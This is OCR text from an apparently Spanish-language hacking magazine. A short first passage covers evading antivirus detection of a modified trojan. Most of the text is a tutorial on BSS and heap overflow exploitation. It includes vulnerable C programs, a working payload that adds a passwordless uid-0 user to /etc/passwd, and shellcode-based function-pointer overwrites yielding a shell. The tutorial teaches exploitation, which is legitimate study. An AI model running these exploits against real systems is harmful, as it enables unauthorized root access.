he puesto a prueba las versiones de
evaluacion de 7 de los AV mas conocidos:
Panda Software (Titanium 2005),
Symantec (Norton Antivirus 2005),
BitDefender ( v8 Profesional Plus),
Norman (Virus Control v5.80),
InSoft (DrWeb v4.32), Agnitum
(TauScan) y Eset (NOD32 v1.1024),
vy a pesar de que, recordando el articulo
de Andrew Lee, siguen siendo pruebas
sin base cientifica sélida, el resultado ha
sido, como minimo, sorprendente. En su
configuracion por defecto todos ellos
han sido incapaces de detectar el
troyano modificado. Configurdndolos
con la maxima capacidad heuristica (o su
técnica proactiva equivalente), dnica-
mente la 'heuristica avanzada' del
NOD32 ha sido capaz detectarlo. Tanto
la 'Sandbox' de Norman como el
‘TruPrevent' de Panda han permitido la
ejecucion del troyano modificado.

Soy consciente de que en esta lista faltan
nombres importantes, pero tened en
cuenta que yo soy un simple usuario
como vosotros y mis medios son muy
limitados. Ademas recordad que la
intencion de este texto es que vosotros
mismos podais hacer lo mismo con el AV
que guerais.

Un dato interesante es que cuando se
intenta aplicar la técnica de aislar las

firmas a un motor de deteccién pura-
mente heuristico como el 'avanzado' del
NOD32, uno se puede hacer una idea del
funcionamiento de esa heuristica. Por
ejemplo, en este troyano, muy cerca de
las partes del cadigo desensamblado que
hacen saltar la heuristica del Nod,
podemos encontrar varias llamadas a la
funcion WSAStartup que es la
encargada de inicializar el Winsock, es
decir, la libreria a la que tiene que acudir
cualquier programa que use la red y que
corra sobre windows. Otro dato
revelador es que al separar el cddigo
detectado mediante saltos (con el RiT) el
codigo resultante también es detectado
sin problemas. Este es quiza el mas claro
indicativo de que su motor de deteccion
heuristica ha logrado claramente ser
capaz de quedarse con el contenido del
codigo (la interpretacion) y no con la
forma (los bytes).

Teniendo en cuenta que los primeros
virus polimérficos que obligaban a
adoptar técnicas heuristicas salieron
recién estrenada la década de los 90,
hace la friolera de 15 afios, esta
dependencia masiva del catdlogo de
firmas de la gran mayoria de los motores
AV actuales que se observa en estos
resultados es realmente preocupante. Y
si juntamos esta circunstancia con las
campanas de publicidad cada vez mas
agresivas que se estan llevando a cabo
para convencernos de que dejemos todo
el trabajo de salvaguardar la seguridad
de nuestros equipos a soluciones AV de

¢Has pensado alguna vez en
poner TU PUBLICIDAD en
una revista de cobertura

nacional?

¢ Has preguntado
precios y comprobado
que son demasiado
elevados como para
amortizar la inversion?

este tipo.. el panorama toma tintes
dramaéticos...

Tampoco quiero pecar de alarmista. Hay
que tener claro que pese a su
antigliedad, el método de firmas sigue
siendo tremendamente efectivo en la
proteccion contra la inmensa mayoria del
malware existente. Y que ademas, con la
proliferacion de las conexiones rapidas y
permanentes a Internet de estos Ultimos
afos, es posible para los usuarios de una
solucion AV disponer en cuestion de
pocas horas de la Ultima actualizacion de
firmas. El problema esta en los ataques
selectivos. Si alguien quiere enviarnos
una aplicacion maliciosa de manera
individual, es bueno saber que aunque
dispongamos de un AV, eso no
representa un problema serio para un
atacante con conocimientos de nivel
medio sobre seguridad informatica.

Ademas, no todo es oscuridad vy
tinieblas. EI NOD32 nos ofrece la
esperanza (que ya casi se aprecia como
realidad) de que por fin se haya llegado a
una solucién proactiva eficiente. Ya son
muchas las demostraciones que han
protagonizado que llevan a pensar que,
sin duda, son el ejemplo a seguir en
estos momentos.

Espero que la lectura os haya resultado
tan Gtil como a mi me ha sido escribirla
Il

ol ool o wns owvasclis Larerin

v mds descado,

Con nosotros, la publicidad esta al alcance de todos
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|

| Capitulo 2

SEGURID.AD

Explotando
Heap/BSS Overflows

Introduccion:

Bienvenido a esta segunda entrega de esta pequefia serie de articulos sobre

explotacion de vulnerabilidades. Ya hablamos en el articulo anterior sobre los desbordamientos de

buffer ocurridos en la pila. En este articulo vamos a ver cdmo aprovecharnos de desbordamientos

ocurridos en otras secciones de memoria, en especial en las secciones denominadas Heap y BSS.

Antes explicaré un poco el uso de la memoria dindmica mediante la funcién malloc(), para que pue-
das entender mejor los cédigos incluidos en el articulo. Que lo disfrutes ;-)

Variables globales y
dinamicas en C

En esta seccion vamos a ver cdmo se definen variables
globales y estaticas (static), entenderemos la necesidad
de la memoria dindmica, y aprenderemos cémo usarla en
C. Lo ideal seria que tuvieras algunas nociones muy basi-
cas de C (y si no son tan basicas, pues mucho mejor ;-) ),
aunque sabiendo algo de programacion, sea el lenguaje
que sea, no te sera dificil seguir estas sencillas explicacio-
nes. Ademas, teniendo el curso de Python escrito por
Moleman en esta misma revista, no tienes excusa :P

Hablemos primero de las variables globales. Como ya debes
saber, cuando creamos una variable dentro de una funcién,
ésta se almacena en la pila (ya lo vimos en el articulo ante-
rior), y solamente se puede acceder a ella desde la propia
funcion que la ha creado. Sin embargo, si deseamos poder
acceder a una variable desde todo nuestro programa, y man-
tener su valor en el punto que sea de su ejecucion, debere-
mos declarar esta variable como global, declarandola al prin-
cipio de nuestro cddigo, fuera de ninguna funcién. Si no se
inicializan en el momento de su creacién, este tipo de varia-
bles se almacenan en el segmento BSS. Si son inicializadas,
se almacenan en el segmento de datos.

Por otro lado, tenemos las variables estaticas, que se
crean dentro de una funcidén, pero no se destruyen al fina-
lizar ésta. Asi, cuando volvamos a llamar a la funcion, su
valor permanecera igual que antes. Un posible uso de este
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tipo de funciones es para realizar contadores del nimero
de ejecuciones de una funcion, y que no haga cierta tarea
mas de un nimero determinado de veces.

Veamos qué pasa con el siguiente cédigo:

@

Codigo ejemplol.c:

#include <stdio.h>
int numero;

int main() {
int funcion();
numero=0;

while(funcion()==0 )
printf("numero vale: %d\n", numero);

int funcion(){
static cont=0;

if(cont<3){
numero=rand();
printf("Ya he hecho mi faena :P [%d] \n",cont);
cont++;
return 0;
} else {
printf("Estoy cansada. Ya me has ejecutado demasiadas veces\n");
return -1;
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Este se va a ganar el premio al cédigo
mas chorra del afio :-D. Lo Unico que ha-
ce es crear una variable global (numero),
y luego en el main la inicializa a 0 y eje-
cuta la funcidén en un bucle hasta que és-
te devuelva un valor distinto de 0.

La funcién hara su tarea (sacar un
numero seudo-aleatorio) hasta que cont
tome el valor 3. A partir de entonces la
funcidén se negara a hacerlo, pues consi-
derara haberse ejecutado demasiadas ve-
ces. Veamos la salida de este programa:

nos provee la libreria estandar, entre las
cuales se encuentran las funciones ma-
lloc, calloc, free.. Las funciones malloc()
y calloc() nos sirven para reservar me-
moria dindmica (localizada en el seg-
mento Heap), mientras que free() se
utilizara cuando hayamos terminado de
usar dicha memoria, para liberar el es-
pacio reservado y que asi pueda utili-
zarse para posteriores peticiones de re-
serva de memoria dinamica.

La funcion malloc() recibe como para-

tuxed@athenea:~/articulo2$ ./ejemplo1
Ya he hecho mi faena :P [0]

numero vale: 1804289383

Ya he hecho mi faena :P [1]

numero vale: 846930886

Ya he hecho mi faena :P [2]

numero vale: 1681692777

tuxed@athenea:~/articulo2$

tuxed@athenea:~/articulo2$ gecc ejemplol.c -o ejemplol

Estoy cansada. Ya me has ejecutado demasiadas veces

metro la cantidad de memoria a
reservar, y devuelve un puntero a
la nueva zona de memoria reser-
vada, con lo que Unicamente po-
dremos acceder a ella a través de
éste. Una vez acabemos de utili-
zarla, liberaremos la memoria
haciendo una Illamada a free(),
pasando como parametro el pun-
tero devuelto por malloc().

Como puedes ver, funciona tal y como
he explicado, aunque si lo vuelves a
ejecutar te dara los mismo valores para
la variable numero, puesto que rand()
deberia haberse inicializado mediante la
funcién srand(), pero eso ya es otra his-
toria ;-)

Veamos ahora la memoria dindmica.
Imagina que tienes un programa que va
a almacenar datos en un buffer. Como
no sabemos qué cantidad de datos va a
darnos el usuario, no sabemos el espa-
cio que debemos reservar para él. Sin
embargo, épor qué no le pedimos que
nos diga cuantos datos nos va a entre-
gar, y luego lo creamos? Seria una bue-
na opcién, pero, écdmo se hace?

Si aprendiste C, seguramente te dijeron
que las variables se debian declarar al
principio de cada funcidn, y que no se
podia hacer algo como:

printf(“Cuantos caracteres me vas a dar?”);
scanf(“%d”, &carac);

char buffer[carac];

Si hacemos algo asi, el compilador nos
arrojara un bonito error. Sin embargo,
para este tipo de cosas existe la memo-
ria dindmica.

Para manejar la memoria dinamica en
C, tenemos una serie de funciones que
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Vamos a ver un pequefio ejemplo que
calculard la media de una cantidad des-
conocida de nimeros enteros. Lo que
haremos sera pedirle al usuario la canti-
dad de datos que nos va a dar, y reser-
var espacio para un vector de enteros
de ese tamafio.

Lo siguiente sera pedirle esos datos en
un bucle, calcular la media, e imprimirla
por pantalla. Al final de todo este proce-
so, procederemos a liberar la memoria
reservada.

El cédigo es el siguiente:

free(ptr);

return 0;

Codigo ejemplo2.c:
#include <stdio.h>

int main(){
int num,i;
float suma=0;
int *ptr;

printf("Dime el nimero de datos: ");
scanf("%d", &num);

ptr=(int *)malloc(num*sizeof(int));

for(i=0;i<num;i++){
printf("Elemento %d ->", i+1);
scanf("%d", ptr+i*sizeof(int) );
}
for(i=0;i<num;i++)
suma-+=ptr[i];
suma=suma/num;

printf("La media es %f\n", suma);
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Espero que este pequefio ejemplo ilus-
tre lo suficientemente bien el uso de la
memoria dindmica mediante la funcién
malloc() y free(), y que asi os podais
hacer una idea de qué es lo que vamos
a atacar ;-).

Como veis, se pueden crear variables de
un tamano elegido por el usuario, o por
el propio programa, en tiempo de
ejecucién. Sin embargo, si no tomamos
las precauciones oportunas, sigue sien-
do posible desbordar un buffer creado
de esta forma, sobrescribiendo memoria
mas alla de los limites que nos pertene-
cen ;-).

Si recuerdas, en el articulo anterior nos
aprovechabamos de la direccién de re-
torno de la funcién actual guardada en
la pila, sobrescribiéndola con la
direccion de un codigo maquina (shell-
code) que previamente habiamos situa-
do en memoria, para que al intentar re-
tornar, la ejecucion del programa caye-
ra en dicho cddigo e hiciese lo que cre-
yéramos oportuno (en general, brindar-
nos acceso al sistema :-) ). Sin em-
bargo, esta vez el buffer que vamos a
sobrescribir estara en el segmento BSS
o en el Heap, donde no hay ninguna
direccién de retorno almacenada ni na-
da que se le parezca. Asi, en este caso
deberemos tirar mano de otras cosas.

Y supongo que te estaras preguntan-
do... éPero qué cosas exactamente? Lo
mas légico en un desbordamiento de
este tipo, es pensar en sobrescribir va-
riables importantes de nuestro progra-
ma, como por ejemplo nombres de fi-
chero ( engafando al programa para
que escriba, por ejemplo, en
/etc/passwd ), punteros a funciones (en
este caso probablemente podamos eje-
cutar una shellcode almacenada en me-
moria ;-) ), variables de autenticacion
( como un UID almacenado en el pro-
grama, que sirva para verificar si somos
root o no...).

Por otra parte, tenemos otras técnicas
un poco mas complejas, validas
Unicamente para explotar desborda-
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mientos en el segmento Heap, en las
cuales se trata de aprovecharse del ma-
nejo de la memoria dindmica de nuestro
sistema operativo, para intentar ejecu-
tar codigo como si de un stack-based
overflow se tratara.

Vamos a ver qué podemos hacer ;-).

Sobrescribiendo
nombres de archivo

Como ya he dicho antes, una posibilidad
bastante sencilla a la hora de explotar
un desbordamiento de buffer en el
Heap, es sobrescribir un nombre de ar-
chivo por otro a nuestra eleccién, para
poder meter en él aquello que desee-
mos. Para comprobar como se hace es-
to, vamos a utilizar un pequefio progra-
ma de prueba, que servird para anadir
lineas a una lista, por ejemplo una lista
de cosas por hacer.

En este caso, vamos a usar variables
estaticas. Por tanto, lo que vamos a ex-
plotar es un BSS-based overflow:

[ bssl1.c:

#include <stdio.h>

int main(int arge, char *argv[]){
FILE *todo;
static char linea[100];

static char archivo[40];

if (arge<2){
printf("Uso: %s [mensaje]\n", argv[0]);

return -1;

strepy(archivo, "todo.txt");
strepy(linea, argv[1]);

/* Debug info ;-) */
printf("Linea a escribir: %s \n", linea);

printf("Archivo: %s\n", archivo);

todo=fopen(archivo, "a");
fputs(linea,todo);
fputs("\n", todo);

printf("Escritura realizada correctamente ;-)\n");

return 0;

Como puedes ver, simplemente creamos
dos variables estaticas (segmento BSS),
guardamos en la variable archivo el
nombre de nuestra lista de cosas por
hacer, y copiamos en la variable linea el
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primer argumento de nuestro progra-
ma. Una vez hecho esto, abrimos el ar-
chivo para afiadirle datos (parametro a
[append] de fopen ), y escribe la linea
que le hemos pasado. Las siguientes li-
neas muestran el funcionamiento nor-
mal de este programa:

Imagina ahora que tenemos un archivo
llamado usuarios en nuestro directorio,
y que es propiedad del administrador
del sistema [Lo sé, es muy cutre, pero
no deja de ser un ejemplo, no? :-P ].
Este archivo contiene una lista de los
usuarios que pueden usar cierto comando
del sistema que nos in-

Linea a escribir: Acabar articulo Heap Overflow
Archivo: todo.txt
Escritura realizada correctamente ;-)

Linea a escribir: Comprar embudo nuevo :D
Archivo: todo.txt

Escritura realizada correctamente ;-)
tuxed@athenea:~/Articulos HxC/art2$ cat todo.txt
Acabar articulo Heap Overflow

Comprar embudo nuevo :D
tuxed@athenea:~/Articulos HxC/art2$

tuxed@athenea:~/Articulos HxC/art2$ ./bss1 "Acabar articulo Heap Overflow"

tuxed@athenea:~/Articulos HxC/art2$ ./bss1 "Comprar embudo nuevo :D"

teresa mucho, pero no
contiene nuestro nombre
de usuario. éSe te ocurre
algo? Supongo que como
yo, estarads pensando en
sobrescribir la variable
archivo de nuestro pro-
grama por la palabra
usuarios, y en la lista de
usuarios escribir nuestro
nombre. Para ello, el

Ahora bien, vemos que se disponen de
100 caracteres para el buffer linea, pero
no se comprueba la longitud del argumen-
to pasado al programa, sino que simple-
mente se copia con la funcion strcpy. Asi
pues, ya tenemos algo para jugar :-)
Probaremos a meter mas datos al progra-
ma, a ver si somos capaces de escribir lo
que deseemos en la variable archivo.

programa bss1 deberia ser propiedad de
root y tener el bit SUID activado, pues si
no es asi, no podremos modificar un ar-
chivo que no nos pertenece.

Un detalle importante, es que debemos
rellenar los 128 bytes del buffer. Ademas,
queremos poner nuestro nombre de
usuario tal cual en el archivo (tuxed en
este ejemplo) solo en una linea, asi que

Archivo: todo.txt

Escritura realizada correctamente ;-)

Linea a escribir: AAAAAAAAAAAAAAAAAC(...)
Archivo: AA

Escritura realizada correctamente ;-)

Linea a escribir: AAAAAAAAAAAAAAAAAC(...)
Archivo:

Violacion de segmento

tuxed@athenea:~/Articulos HxC/art2$

tuxed@athenea:~/Articulos HxC/art2$ ./bss1 “perl -¢ 'print "A"x110"
Linea a escribir: AAAAAAAAAAAAAAAAA (..hasta 110 A's)

tuxed@athenea:~/Articulos HxC/art2$ ./bss1 “perl -e 'print "A"x130"

tuxed@athenea:~/Articulos HxC/art2$ ./bss1 “perl -e 'print "A"x128"

deberemos idearnoslas para que
los 128 bytes incluyan tuxed en
una linea, y que a partir de esos
128 bytes esté el nombre del fi-
chero que queremos modificar.

Por tanto, lo que vamos a hacer
es poner al principio del buffer
nuestro nombre de usuario, se-
guido de un caracter new line
(NL, cdédigo ASCII 0x0A en
hexadecimal), y después 122

Como se puede ver en estas lineas, si
metemos 110 caracteres, la cosa sigue
funcionando a la perfecciéon. En cambio,
en cuanto pasamos de 128, estamos
sobrescribiendo el archivo donde vamos
a escribir. En el primer caso, con 130 le-
tras A, hemos sobrescrito el nombre de
archivo por AA, mientras que en el se-
gundo, ha quedado una cadena vacia,
pues lo Unico que se ha escrito ha sido
el byte nulo que identifica el final de ca-
dena. Asi, cuando intentamos abrir el
archivo, no pasamos un nombre valido
a fopen, con lo que no podremos usarlo
para escribir cosas, y de ahi la violacién
de segmento.
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letras cualesquiera (128 bytes
menos la longitud de la cadena tuxed
menos el caracter NL ), y después el
nombre del archivo ( la palabra usuarios
). La siguiente salida muestra el estado
del archivo usuarios antes de la ejecucion
de nuestro plan, la ejecucion del mismo,
y dicho archivo justo después: (ver lis-
tado 1)

Como vemos, hemos podido sobrescri-
bir el archivo usuarios con nuestro nom-
bre de usuario, aunque le ha quedado
una bonita linea de 122 letras A, mas el
nombre del propio archivo. Esto es por-
que la cadena linea del programa vulne-
rable incluia todo eso, y eso es lo que
se ha insertado en el archivo.
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tuxed@athenea:~/Articulos HxC/art2$ cat usuarios
pepito
azimut

Linea a escribir: tuxed

arios

Archivo: usuarios

Escritura realizada correctamente ;-)
tuxed@athenea:~/Articulos HxC/art2$ cat usuarios
pepito

azimut

tuxed

arios
tuxed@athenea:~/Articulos HxC/art2$

tuxed@athenea:~/Articulos HxC/art2$ ./bss1 ""perl -e 'print "tuxed"."\x0A"."A"x122 . "usuarios"""

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUSU

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUSU

Listado 1

Vamos ahora a intentar modificar un ar-
chivo crucial de nuestro sistema. Se tra-
ta del archivo del sistema llamado
/etc/passwd. En este archivo se encuen-
tran los usuarios de nuestro sistema,
con un formato muy concreto. Veamos
una linea del archivo en cuestion:

root:x:0:0:root:/root:/bin/bash

En cada linea del archivo, hay varios
campos separados por el signo :. De iz-
quierda a derecha, son: nombre de
usuario, contrasefa encriptada, UID,
GID, comentario, directorio de trabajo
(home del usuario), y por ultimo, la
shell que se ejecutara cuando este
usuario haga /ogin en el sistema. El
campo contrasefia es opcional, puede
estar vacio (sin password), o contener
una x, que indica que la contrasefa en-
criptada se guarda en otro archivo (con-
cretamente, /etc/shadow ).

Ademas, como ya sabras, el uid 0 indica
privilegios de root, y encima en el archi-
vo /etc/passwd pueden haber varios
usuarios con uid 0... Supongo que ya
imaginas que vamos a hacer, no? ;-).
Vamos a crear una nueva linea en el ar-
chivo /etc/passwd que nos proporcione
un usuario root, con el que poder hacer
login en el sistema.

Listado 2

Sin embargo, si analizamos el formato
de dicho archivo, y lo que pasé anterior-
mente con el archivo usuarios, vemos
que el final de la linea que agreguemos
va a ser, obligatoriamente, /etc/passwd
, pero el Ultimo campo de ésta deberia
identificar la shell de acceso al sistema,
asi que no puede ser /etc/passwd sim-

plemente, puesto que al no ser una
shell valida, no se ejecutara. Entonces,
équé hacemos? Muy sencillo, vamos a
crearnos un enlace simbdlico hacia la
shell de bash ( /bin/bash ), cuya ruta
acabe en /etc/passwd (por ejemplo,
/tmp/etc/passwd). Una vez hecho esto,
simplemente debemos ajustar nuestro
buffer para que cumpla con las condi-
ciones deseadas.

Necesitamos que tenga 128 caracteres
mas la longitud de /etc/passwd (11 ca-
racteres). Por tanto, nuestra linea va a
tener 139 caracteres. Como nombre de
usuario, vamos a poner root_malvado
(12 caracteres), password en blanco,
uid y gid los mismos de root (0 para
ambos), directorio home /root (5 carac-
teres mas) y como shell,
/tmp/etc/passwd, como ya hemos di-
cho. Asi, si sumamos todos los campos,
incluyendo los separadores de campo,
tenemos 40 caracteres. Por tanto, para
que las cosas vayan bien, necesitamos
99 caracteres mas, pero... ¢y qué hace-

mos con ellos? Pues meterlos en el
campo de comentarios :-).

Ahora si, tenemos claro qué hacer, asi
que no se hable mas. Accidn!(ver lista-
do 2)

Ahora si miramos el archivo
/etc/passwd, tendremos un usuario lla-

mado root_malvado, sin password. Solo

nos queda loguearnos como ese usua-
rio, y ya tenemos nuestra shell de root

A=)

Para acabar con este programa, sola-
mente me queda hacer un pequefio co-
mentario. Mientras hacia mis pruebas,
estaba trabajando en las X al mismo
tiempo que escribia este articulo en el
OpenOffice.org, y después de agregar
mi nuevo usuario mediante la técnica
expuesta, procedi a loguearme con él
via el comando su root_malvado. Cual
fue mi sorpresa que me pedia
contrasefia y me daba error de
autenticacion al dar a INTRO sin escribir
contrasefia alguna. Por lo que he podido
comprobar, esto solo pasa en Debian, y
no ocurre si haces un login normal al
sistema con el nuevo usuario, y tampo-
co si se hace el su desde una consola
virtual (ttyX, esas que se acceden me-
diante Ctrol-Alt-Fx).

Ademas, es conveniente comentar que
esta vulnerabilidad perfectamente podia
haber ocurrido en el Heap, que la ha-
briamos tratado exactamente igual,
aunque los tamafios del buffer habrian
variado un poquito. Os animo a probarlo
cambiando las lineas:

static char linea[100];
static char archivo[40];

Por éstas:

char *linea;
char *archivo;
linea=malloc(100);archivo=malloc(40);

tuxed@athenea:~/articulo2$ mkdir /tmp/etc

Archivo: /etc/passwd
Escritura realizada correctamente ;-)

tuxed@athenea:~/articulo2$ In -s /bin/bash /tmp/etc/passwd
tuxed@athenea:~/articulo2$ ./bss1 “perl -e 'print "root_malvado::0:0:"."A"x99 .":/root:/tmp/etc/passwd""
Linea a escribir: root_malvado::0:0:AAAAAAAAAAAAA (...) AAAAAAAAAAAA:/root:/tmp/etc/passwd
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Sobrescribiendo
punteros a funciones

Vamos ahora a trastear con el siguiente
programa:
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Codigo bss2.c:

#include <stdio.h>
int alta(char cliente[]){
/*Aqui el codigo que da de alta un cliente */
printf("He dado de alta el cliente ;-)\n");
return 0;

int baja(char cliente[]){
/* Aqui el codigo de baja de un cliente */
printf("Cliente dado de baja :(\n");
return 0;

int main(int arge, char *argv[] ){
static char nombre[50];

static int (*ptr_func)(char *cliente);

if(arge<3){
printf{"Uso: %s <altajbaja> Nombre_cliente\n",argv{0]);
exit(-1);

}

if(stremp(argv[1],"alta")==0)
ptr_func=(int (*)(char *))alta;
else
if(stremp(argv[1],"baja")==0)
ptr_func=(int (*)(char* ))baja;
else
return -1;
strepy(nombre, argv[2]);
printf(*Punetro apunta a: %p\n”,ptr_func);
(*ptr_func)(nombre);
return 0;

Como puedes deducir, es un simple pro-
grama que emula manejar una base de
datos de clientes. Pasando como para-
metros alta nombre_cliente daremos de
alta un cliente. Si pasamos baja nom-
bre_cliente daremos de baja el cliente.

Evidentemente, no he implementado el
programa entero, sino solamente un par
de cosas para que podamos ver como
explotar este tipo de programas que
utilizan un puntero a una funcién, de-
clarado justo después de un buffer pro-
penso a desbordamientos :-) Vamos a
ver si funciona como deberia:

tuxed@athenea:~/articulo2$ gce bss2.c -0 bss2 -g
tuxed@athenea:~/articulo2$ ./bss2

Uso: ./bss2 <alta|baja> Nombre_cliente
tuxed@athenea:~/articulo2$ ./bss2 alta pepito_la_flor
Puntero apunta a 0x8048424

He dado de alta el cliente ;-)
tuxed@athenea:~/articulo2$ ./bss2 baja pepito_la_flor
Puntero apunta a 0x804843d

Cliente dado de baja :(

tuxed@athenea:~/articulo2$

Aqui podemos ver que el programa fun-
ciona como deseamos. Ahora vamos a
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jugar con él. éCémo? Pues ya sabes,
dandole mas cosas de las que puede
aguantar y observando los cambios que
sufre nuestro amado punterito :-D :

Como puedes observar, se ha utilizado
la misma shellcode que en el articulo
anterior, que puedes encontrar (junto a
los demas codigos de ambos articulos)

Puntero apunta a 0x8004141
Violacién de segmento

Puntero apunta a 0x414141
Violacién de segmento

Puntero apunta a 0x41414141
Violacién de segmento
tuxed@athenea:~/articulo2$

tuxed@athenea:~/articulo2$ ./bss2 alta "perl -e 'print "A"x54"

tuxed@athenea:~/articulo2$ ./bss2 alta "perl -e 'print "A"x55"

tuxed@athenea:~/articulo2$ ./bss2 alta "perl -e 'print "A"x56"

en el foro :-) Ademas, en esta
ocasién no se ha dado privilegios de
root al programa, y por eso la shell
devuelta es de nuestro propio usua-
rio. En caso de haber puesto el bi-
nario como SUID root, la shell ten-
dria privilegios de root ;-)

Sin embargo, este método necesita de
una pila ejecutable. En caso de que

Como se puede ver, con 54 caracteres
logramos modificar la mitad del pun-
tero a la funciéon. Con 56 la logramos
modificar entera :-). Puesto que
nuestro codigo luego llama a dicha

nos encontremos ante un sistema con pi-
la no ejecutable, nuestro ataque no seria
viable, pues nuestra shellcode no podria
ejecutarse. Aun asi, tenemos un buffer
que hemos rellenado de letras A, y que

funcion mediante el
puntero, aqui tenemos
un punto desde el cual
redirigir la ejecucion
del programa hacia un
cédigo nuestro ;-).

Ahora, si queremos
aprovecharnos, lo mas
sencillo seria hacer lo
mismo que haciamos
con los desbordamien-
tos en la pila. Puesto

GNU gdb 6.3-debian

There is absolutely no

(gdb) break main

Copyright 2004 Free Software Foundation, Inc.

GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.

This GDB was configured as "i386-linux"...Using host libthread db library
"/lib/tls/libthread_db.so.1".

Breakpoint 1 at 0x8048466: file bss2.c, line 19.
(gdb) run alta “perl -e 'print "A"x56"
Starting program: /home/tuxed/articulo2/bss2 alta “perl -e 'print "A"x56"

warranty for GDB. Type "show warranty" for details.

que disponemos de una
direccién de memoria
que podemos modificar
a nuestro antojo, y el
programa vulnerable va
a saltar a esa direccion

Breakpoint 1, main (arge=3, argv=0xbffff9a4) at bss2.c:19
19 if(arge<3){

(gdb) p &nombre

$1 = (char (*)[50]) 0x8049820

(zdb)

Listado 3

de memoria, pondremos una shellcode
en una variable de entorno, obtendre-
mos su direccién, y modificaremos el
puntero con ésta
mos meterla en orden inverso, debido al
formato little-endian].

;-) [Ojo que debere-

podriamos rellenar con el cédigo de nues-
tra shellcode :-). En primer lugar, mete-
remos la shellcode en el propio buffer,
precedida de instrucciones NOP (byte
0x90). Por ultimo, debera incluirse, a par-
tir de la posicién 53 del buffer,

tuxed@athenea:~/articulo2$ export SCODE="cat scode";
tuxed@athenea:~/articulo2$ ./envi SCODE

La variable SCODE esta en la direccion Oxbffffb17
tuxed@athenea:~/articulo2$ ./BSS

bssl bss2

tuxed@athenea:~/articulo2$ ./bss2 alta “perl -e 'print "\x17\xfb\xff\xbf"x 14"

Puntero apunta a 0xbftftb17
sh-3.008

la direccién de memoria del
mismo buffer.

Aunque este método requiere
que el segmento Heap sea eje-
cutable, es mas comun encon-
trarse ante una pila no ejecu-

Asi pues, armados de los codigos d'e_laéf_—' %G
ticulo anterior para localizar las varia-
bles de entorno (estan disponibles en el
foro de esta revista desde el dia de
publicacién del nimero 27) nos dispo-
nemos a atacar :
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table que ante un Heap no eje-
cutable, asi que las probabilidades de que
funcione este método son mayores ;-)

Probemos de nuevo a explotar este bug,
usando esta segunda técnica :-). En pri-
mer lugar, averiguaremos la direccion
de nuestro buffer mediante el gdb:(ver
listado 3)
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Puntero apunta a 0x8049820
sh-3.008

tuxed@athenea:~/articulo2$ ./bss2 baja ""perl -e 'print "\x90"x 14" "cat scode" "perl -e 'print "\x20\x98\x04\x08"""

Listado 4

Puntero apunta a 0x8049820
sh-3.00$

tuxed@athenea:~/articulo2$ ./bss2 baja ""cat scode" 'perl -e 'print "A"x14 ."\x20\x98\x04\x08""*"

Apuntamos la direccién, y procedemos a
rellenar el buffer. Puesto que tenemos 52
bytes para shellcode y NOPs, vamos a
contar los caracteres de nuestra shellco-
de, y rellenaremos el resto con NOPs.
Justo después incluiremos la direccién de
retorno, que es la que acabamos de obte-
ner. Antes de verlo, hay que prestar
atencion a un pequefio detalle: La
direccion de la variable devuelta por el
gdb no tiene 4 bytes (8 caracteres). Para
que sean los 8 bytes, nos falta escribir un
0 a la izquierda del 8, pues sino nuestro
ataque no tendra efecto. Ahora si, vamos
a probarlo: (ver listado 4)

Como puedes ver, funciona a la
perfeccion. Ademas, podiamos haber
quitado los NOPs, pues en este caso la
direccion de las variables no varia como
las de la pila. En realidad si puede va-
riar de un programa compilado en un
sistema a otro, pero va a estar muy
cerca. Si estamos explotando un fallo
en local, en un sistema donde tenemos
una cuenta shell, no hay problema para
adivinar la direccion exacta del buffer
(es lo que hemos hecho) y usarlo para
la shellcode sin poner ninguna
instruccién NOP:(ver listado 5)

Como puedes ver, ha funcionado perfec-
tamente, aunque esta vez hemos relle-
nado el buffer, por detras de la shellco-
de, con letras A. Sin embargo esto no
es posible hacerlo en remoto. En tal ca-
so, deberiamos averiguar la direccion de
las variables a prueba y error, variando
la direccidon de una variable local aloja-
da en el mismo segmento de datos, me-
diante un offset (desplazamiento) hasta
acertar en la direcciéon de la variable re-
mota.

Los métodos explicados hasta ahora son
practicamente independientes de la pla-
taforma utilizada. Siempre que poda-
mos sobrescribir algin nombre de fiche-
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Listado 5

ro en un programa con suficientes privi-
legios, podremos alterar ficheros impor-
tantes de nuestro sistema, para poner
la informacion que creamos oportuna.
Siempre que podamos modificar punte-
ros a funciones, podremos ejecutar el
cédigo que queramos, siempre que lo
tengamos convenientemente almacena-
do y localizado.

Llegados a este punto, ya hemos acaba-
do con lo que tenia pensado contaros
acerca de la explotacidn de este tipo de
fallos mediante la alteracion de varia-
bles importantes de los programas ata-
cados. Sin embargo, recordaras que al
principio hablé de la posibilidad de so-
brescribir informacion de mantenimien-
to almacenada por malloc() en el Heap.
En la siguiente seccién vamos a hablar
de ello ;-)

Engafiando a free().
La técnica de la macro
unlink()

En esta Ultima parte del articulo, vamos
a hablar sobre la implementacion de la
memoria dindmica presente en el siste-
ma operativo GNU/Linux, asi como en el
sistema GNU/Hurd. Se trata de la
implementacién de malloc() incluida en
las librerias glibc, llamada Doug Lea's
Malloc Implementation. A partir de aho-
ra cualquier referencia a malloc() sera
exclusivamente sobre la implemen-
tacion mencionada.

Para poder aprovecharnos de alguna
manera del sistema utilizado por ma-
lloc() para ejecutar un codigo cualquie-
ra, primero deberemos entender como
funciona este sistema, para ver qué po-
demos hacer con él. Sin embargo, no
voy a entrar en demasiados detalles,
puesto que la cosa se puede alargar y
complicar demasiado si nos ponemos a
mirar el codigo fuente. Si se quiere pro-
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fundizar mas, se pueden leer los articu-
los de Phrack que pongo como referen-
cias al final.

Dijimos al principio que cuando reserva-
mos memoria dindmica mediante malloc,
ésta se reserva en el segmento llamado
Heap. Ademas, comentamos que junto a
la memoria en si, se incluia cierta
informacidn de mantenimiento. En reali-
dad, malloc maneja unas estructuras de
datos llamadas chunk (de bloque, en in-
glés), con el siguiente aspecto:

- chunk actual
entero prev_size
entero size
- ptr
datos
-#— siguiente chunk
entero prev_size
[...]

El entero size guarda el tamafio del
chunk actual. Ademas, debemos tener
en cuenta que, debido a la forma en
que malloc reserva memoria (redon-
